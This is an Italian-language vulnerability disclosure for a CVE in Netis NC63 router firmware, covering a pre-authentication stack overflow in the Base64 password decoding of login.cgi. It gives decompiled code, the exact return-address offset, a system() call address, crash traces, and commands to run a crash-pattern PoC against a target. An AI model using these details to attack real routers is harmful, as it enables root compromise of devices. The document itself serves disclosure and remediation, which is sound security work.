
Ricerca originale e PoC non distruttiva per un overflow del buffer di stack pre-autenticazione della password decodificata in Base64 in login.cgi di Netis NC63.
login.cgi che porta a RCERicercatore: Özcan Ersan (@ozcanpng)
CVE-2026-76070NC63_V3.0.0.3327/bin/netis.cgiPOST /cgi-bin/login.cgipassword codificata in Base64Il gestore di login pubblico nel firmware Netis NC63 V3.0.0.3327 recupera il parametro password controllato dall'attaccante e lo decodifica con la routine Base64 personalizzata FUN_00402bd4. Il chiamante fornisce un buffer di stack locale di 64 byte ma non passa la sua capacità al decodificatore. Il decodificatore ricava il proprio lavoro dall'input codificato e scrive i byte decodificati senza verificare la fine della destinazione.
L'indirizzo di ritorno MIPS salvato si trova a 136 byte dall'inizio del buffer decodificato. I test dinamici contro il CGI di produzione a hash originale hanno confermato:
B produce un fault a 0x42424242;ra salvato con 0x0041a2e0 causa una seconda osservazione di ingresso al gestore di login, dimostrando il controllo del program counter; esystem() del binario originale con un valore a0 MIPS selezionato dall'attaccante. La /bin/sh sostituita ha registrato /bin/sh -c NC63_RCE_PROOF e non ha eseguito alcun comando.Il PoC pubblico in questo repository si ferma deliberatamente a un pattern di crash. Non contiene catena di ritorno, shellcode, comandi, reverse shell o persistenza.
193f6a5e2ce65972b1805bf076f8d3521379a8441c8aaeb5ad0ba174bbee0792 netis_NC63_V3.0.0.3327.bin
23faa747b7d2f067aa5431bcc227ceca97a7977cf3e7c372f715cbba57f9209b squashfs-root/bin/boa
eb298774c27070dc595fefcabb4e8c12a46cb5f4fd08f91c3ca92282c3a289a2 squashfs-root/bin/netis.cgi
La copia di /bin/netis.cgi testata dinamicamente ha lo stesso SHA-256 dell'eseguibile estratto dal vendor.

Il frontend del vendor invia la password all'endpoint pubblico come Base64:
obj.password = base64encode(utf16to8(password));
request({
url: "/cgi-bin/login.cgi",
data: obj
});
Il campo HTML usa maxlength="63", ma si tratta solo di una restrizione lato browser. Un client HTTP diretto può inviare un valore codificato più grande.

login.cgi è necessariamente raggiungibile prima dell'autenticazione. La decodifica non sicura avviene prima che la password decodificata venga confrontata con la password amministratore configurata. Non è richiesta alcuna sessione valida, header Cookie, header Authorization o password corretta.
Unauthenticated HTTP client
|
| POST /cgi-bin/login.cgi
| password=<attacker-controlled Base64>
v
/bin/netis.cgi: FUN_0041a2e0
|
| get_request_param("password")
v
FUN_00402bd4(decoded_stack_buffer, encoded_password)
|
| no destination-capacity argument
| decoded output exceeds 64 bytes
v
saved s8 at decoded offset 132
saved ra at decoded offset 136
|
v
attacker-selected MIPS PC
Pseudocodice derivato da Ghidra, con nomi normalizzati per leggibilità:
int login_cgi(void *request)
{
char decoded[64];
char stored[68];
char *password;
memset(decoded, 0, 64);
memset(stored, 0, 64);
password = get_request_param(request, "password");
if (password != NULL)
FUN_00402bd4(decoded, password); /* no capacity argument */
apmib_get(0x15e, stored);
if (strcmp(decoded, stored) == 0)
printf("[\"SUCCESS\"]");
else {
system("echo 0 >/tmp/boa_auth");
printf("[\"%d\"]", 0x15);
}
return 0;
}

Il decodificatore FUN_00402bd4 riceve solo i puntatori a destinazione e origine. Il suo ciclo fa avanzare il puntatore di destinazione e memorizza fino a tre byte decodificati per ogni quattro simboli Base64. Nessun confronto verifica la destinazione rispetto a decoded + 64.

Base64 è la trasformazione di input, non il difetto sottostante. La causa principale è la mancata corrispondenza tra la lunghezza decodificata controllata dall'attaccante e una destinazione a dimensione fissa la cui capacità non viene mai applicata. Per un input normale con padding, quattro caratteri codificati rappresentano fino a tre byte decodificati; i controlli lato server devono quindi calcolare e validare la dimensione decodificata prima di scrivere.
FUN_0041a2e0 inizia a 0x0041a2e0 e crea un frame di 0xa8 byte:
0041a2e0 addiu sp,sp,-168
0041a2e4 sw ra,164(sp)
0041a2e8 sw s8,160(sp)
0041a2ec move s8,sp
La destinazione decodificata inizia a s8+0x1c; s8 salvato e ra salvato si trovano a s8+0xa0 e s8+0xa4:
decoded[64] s8+0x1c decoded offset 0
saved s8 s8+0xa0 decoded offset 132
saved ra s8+0xa4 decoded offset 136
La distanza esatta dell'indirizzo di ritorno è 0xa4 - 0x1c = 0x88, ovvero 136 byte.

Un pattern decodificato di 140 byte B ha sostituito l'indirizzo di ritorno salvato a quattro byte:
--- SIGSEGV {si_signo=SIGSEGV, si_code=1, si_addr=0x42424242} ---
qemu: uncaught target signal 11 (Segmentation fault)

Un input separato di 140 byte ha impostato ra salvato a 0x0041a2e0. Il tracing della CPU QEMU ha registrato una normale prima entrata all'handler seguita da una seconda entrata con s8=0x41414141 e ra=0x0041a2e0.

Il binario originale contiene una chiamata diretta jal system a 0x0041a3cc. Nella validazione isolata privata, istruzioni esistenti a base fissa hanno caricato un marcatore in a0 e raggiunto quella chiamata. Un programma di osservazione statico è stato montato sopra /bin/sh; ha registrato gli argomenti dell'interprete comandi e non ha eseguito nulla:
argv[0]=</bin/sh>
argv[1]=<-c>
argv[2]=<NC63_RCE_PROOF>
CONTROLLED_MARKER_REACHED
PASS: attacker-controlled a0 reached system() and /bin/sh argv.
PASS: the guard logged the request and executed no command.
Ciò dimostra una primitiva RCE nel percorso isolato del codice di produzione. Non stabilisce un'affidabilità di exploit identica su un router fisico nella sua configurazione di kernel e randomizzazione dello stack distribuita.
La configurazione Boa originale specifica User root, Group root e un percorso CGI che contiene /bin e /web/cgi-bin. L'eseguibile di produzione ha base fissa (0x00400000), non ha stack canary né RELRO e dichiara uno stack GNU eseguibile con segmenti RWX.


Lo script incluso è in modalità dry-run per impostazione predefinita e genera solo un corpo di modulo Base64 contenente 140 byte B dopo la decodifica:
python3 poc/poc.py
L'invio richiede un target autorizzato esplicito e --send:
python3 poc/poc.py --target http://192.168.1.1 --send
L'invio del pattern può causare il crash del processo CGI. Usalo solo in un ambiente autorizzato e usa e getta. Il PoC non implementa la catena di validazione RCE privata.
Lo sfruttamento riuscito può eseguire codice o comandi selezionati dall'attaccante nel contesto di gestione del router. Nella configurazione Boa originale, tale contesto viene eseguito come root. Le possibili conseguenze includono la divulgazione di configurazione e segreti, manipolazione di DNS/firewall/routing, reindirizzamento del traffico, interruzione del servizio e compromissione completa del dispositivo.
FUN_00402bd4.Vedere evidence/README.md per screenshot e mappatura delle tracce. Gli estratti Ghidra normalizzati si trovano in
attachments/decompiled-functions/.
CVE-2026-76070 e autorizzato la divulgazione pubblica.Nessun router fisico è stato sottoposto a flashing. Nessun vero comando shell, reverse shell, persistenza, connessione esterna, furto di credenziali o operazione distruttiva sul firmware è stato utilizzato.